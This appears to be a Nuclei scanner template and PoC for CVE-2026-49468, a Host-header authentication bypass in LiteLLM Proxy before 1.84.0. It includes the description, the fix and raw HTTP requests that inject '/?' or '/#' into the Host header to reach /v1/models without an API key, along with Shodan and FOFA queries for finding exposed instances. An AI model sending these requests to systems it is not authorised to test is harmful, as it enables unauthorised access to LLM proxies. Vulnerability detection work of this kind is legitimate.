LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.
PoC
id: CVE-2026-49468
info:
name: LiteLLM Proxy < 1.84.0 - Host Header Authentication Bypass
author: str4k3r
severity: critical
description: |
LiteLLM Proxy before 1.84.0 derives its public-route authorization check from a URL reconstructed with the unvalidated Host header. A Host value containing a fragment can make a protected request appear to target the public root route, bypassing the API-key check. Version 1.84.0 derives the route from the raw ASGI path instead.
remediation: Upgrade LiteLLM Proxy to 1.84.0 or later.
reference:
- https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w
- https://github.com/BerriAI/litellm/releases/tag/v1.84.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-49468
classification:
cve-id: CVE-2026-49468
epss-score: 0.03033
epss-percentile: 0.87094
cwe-id: CWE-290
cvss-score: 8.1
cvss-metrics: CVSS:3.1/AV:H/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
vendor: berriai
product: litellm
technology: python,fastapi,starlette
max-request: 1
shodan-query: http.favicon.hash:539724359
fofa-query: icon_hash="539724359"
tags: cve,cve2026,litellm,auth-bypass,llm
flow: http(1) && http(2)
http:
- raw:
- |
GET /v1/models HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'type":"auth_error'
internal: true
- raw:
- |+
GET /v1/models HTTP/1.1
Host: {{Hostname}}/?
- |+
GET /v1/models HTTP/1.1
Host: {{Hostname}}/#
unsafe: true
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"object":"list"'
- '{"data":['
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a00483046022100d7ded061fdeee0bd8d3c31a46fe2a58de03b433161245227f493e8b112d85749022100c60caa0f8318453a9a4c22c2e708c7585a0795a6e8954f94357e537bb6ce6602:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.